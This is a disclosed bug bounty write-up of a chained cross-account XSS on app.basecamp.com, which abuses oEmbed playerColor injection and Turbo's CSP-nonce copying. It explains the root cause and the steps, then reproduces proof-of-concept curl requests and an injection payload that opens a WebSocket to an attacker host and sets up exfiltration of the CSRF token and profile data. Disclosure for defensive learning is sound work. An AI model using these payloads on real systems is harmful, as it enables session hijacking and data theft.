# Cross-account XSS on app.basecamp.com: oEmbed option injection chained through Turbo defeats the CSP nonce

Basecamp's embed full-render page echoed provider-supplied playerColor HTML unauthenticated across account scopes; Turbo's nonce stamping let attacker script run as the victim.

- Payout: hidden
- Severity: high
- Program: Basecamp
- Found by: deivizzzz
- Disclosed: 2026-10-28
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/3981292
- Library page: https://bugbountylibrary.com/r/h1%3A3981292
- Tags: area:web domain:web impact:ato impact:data-leak impact:integrity kind:bounty platform:hackerone sev:high tech:websocket technique:chained technique:source-review vuln:access-control vuln:misconfiguration vuln:xss

**Target:** app.basecamp.com embed full-render endpoint (/:account/embeds/:sgid/full) and oEmbed embed creation
**Root cause:** The embed display page rendered provider-supplied HTML (Wistia playerColor written unescaped into a class attribute) on the application origin, and the /full render answered unauthenticated under arbitrary account ids. Turbo's frame renderer copies the page's CSP nonce onto scripts inside a freshly loaded turbo-frame, so an allowlisted-CDN Turbo bundle re-signed attacker script.
**Steps:**
1. Confirm no access: `curl -b "$ATTACKER_COOKIE" https://app.basecamp.com/6270418/` returns 302.
2. Mint embed via `POST https://app.basecamp.com/6270494/embeds.json` with `{"url":"https://<provider-host>/medias/<id>?embedType=popover&playerColor=<percent-encoded HTML>"}`; playerColor lands unescaped in a `class` attribute.
3. Launcher payload: `"><base href="/6270418/"><script src="https://bc3-production-assets-cdn.basecamp-static.com/assets/builds/libraries-<hash>.js"></script><div id="footer-trays" data-turbo-permanent><turbo-stream-source src="wss://<attacker-ws>/"></turbo-stream-source></div><turbo-stream action="refresh"></turbo-stream><b class="`.
4. Second embed carries the script payload inside `<turbo-frame id="pwnf">` that reads the CSRF meta token, PATCHes `/6270418/my/profile`, and exfiltrates before/after JSON.
5. Verify raw render: `curl https://app.basecamp.com/<any-account>/embeds/$SG/full` returns 200 with the payload for unrelated account ids, no cookies (e.g. 6270418, 6270070, 99999999).
6. Push WebSocket Turbo Stream: `<turbo-stream action="append" target="footer-trays"><template><turbo-frame id="pwnf" src="/6270418/embeds/$SG2/full"></turbo-frame></template></turbo-stream>`.
7. Victim opens `https://app.basecamp.com/6270418/embeds/$SG/full`; Turbo renders the frame with the victim's nonce, script executes, profile title becomes `XSS-CROSS-ACCOUNT-PROOF` and data is POSTed to the collector.
**How found:** Noticed the embed display page rendered provider HTML on the app origin after a domain migration, that `embedType=popover` made the provider write `playerColor` unescaped into a class attribute, and that `/full` answered unauthenticated under unrelated account ids. Reading Basecamp's own Turbo bundle revealed the frame renderer copies the `csp-nonce` meta onto scripts, defeating the nonce CSP.
**Exploitation:** Attacker mints two embeds in their own account: one injects a `<base>` plus Basecamp's own allowlisted Turbo bundle and a `turbo-stream-source` WebSocket, the other carries the exfil/PATCH script inside a turbo-frame. The victim opens the unauthenticated `/full` URL under their account id; the allowlisted Turbo bundle re-signs the injected script with the victim's CSP nonce, the WebSocket appends a frame pointing at the second embed, and the script reads the CSRF token, PATCHes the victim's profile, and POSTs the token plus before/after profile JSON to the attacker collector.
**Escalation:** Chained three primitives: cross-account unauthenticated embed render, unescaped provider option injection, and Turbo's nonce-copying frame renderer to bypass CSP and gain full same-origin session control.
**Insight:** When a CSP relies on nonces, audit client-side libraries in `script-src` for code that copies the nonce meta onto dynamically inserted scripts (Turbo frame rendering here); an allowlisted first-party bundle can re-sign your injected HTML. Also test whether render endpoints honor the account id in the path or only the sgid.

## Proof of concept (copied exactly from the original report)

**Embed creation request injecting playerColor HTML**

```
curl -s -D- -b "$ATTACKER_COOKIE" -X POST https://app.basecamp.com/6270494/embeds.json \
    -H 'Content-Type: application/json' -H "X-CSRF-Token: $CSRF" \
    --data-binary '{"url":"https://<provider-host>/medias/<id>?embedType=popover&playerColor=<the Launcher HTML below, percent-encoded>"}'

HTTP/2 200 
{"url":"https://sergio.wistia.com/medias/b0767e8ebb?embedType=popover\u0026playerColor=%22%3E%3Cbase%20href%3D%22%2F6270418%2F%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fbc3-production-assets-cdn.basecamp-static.com%2Fassets%2Fbuilds%2Flibraries-ed024e77b075d6d2e51db2e4e7281eedc8feaadacb3edf6be88eb7728e441996.js%22%3E%3C%2Fscript%3E%3Cdiv%20id%3D%22footer-trays%22%20data-turbo-permanent%20data-r%3D%22mintcap%22%3E%3Cturbo-stream-source%20src%3D%22wss%3A%2F%2Fsymbols-tag-deck-photographers.trycloudflare.com%2F%22%3E%3C%2Fturbo-stream-source%3E%3C%2Fdiv%3E%3Cturbo-stream%20action%3D%22refresh%22%3E%3C%2Fturbo-stream%3E%3Cb%20class%3D%22","status":"pending","sgid":"BAh7BkkiC19yYWlscwY6BkVUewdJIglkYXRhBjsAVEkiJ2dpZDovL2JjMy9FbWJlZC80MTUyMTE5P2V4cGlyZXNfaW4GOwBUSSIIcHVyBjsAVEkiD2F0dGFjaGFibGUGOwBU--12acb52202254ff3aa1823138bdb14dad3f04146"}
```

**Unauthenticated cross-account embed render check**

```
for A in 6270418 6270070 99999999; do printf "acct=$A "; \
    curl -s -o /tmp/d -w "%{http_code}:%{size_download} " \
    "https://app.basecamp.com/$A/embeds/$SG/full"; grep -c turbo-stream-source /tmp/d; done
acct=6270418 200:2926 1
acct=6270070 200:2926 1
acct=99999999 200:2926 1
```

**Turbo Stream WebSocket message loading victim frame**

```
<turbo-stream action="append" target="footer-trays"><template><turbo-frame id="pwnf" src="/6270418/embeds/BAh7BkkiC19yYWlscwY6BkVUewdJIglkYXRhBjsAVEkiJ2dpZDovL2JjMy9FbWJlZC80MTUyMTA5P2V4cGlyZXNfaW4GOwBUSSIIcHVyBjsAVEkiD2F0dGFjaGFibGUGOwBU--a716fbabc524847caa3dc57e7fd92c76f7ba22b4/full"></turbo-frame></template></turbo-stream>
```

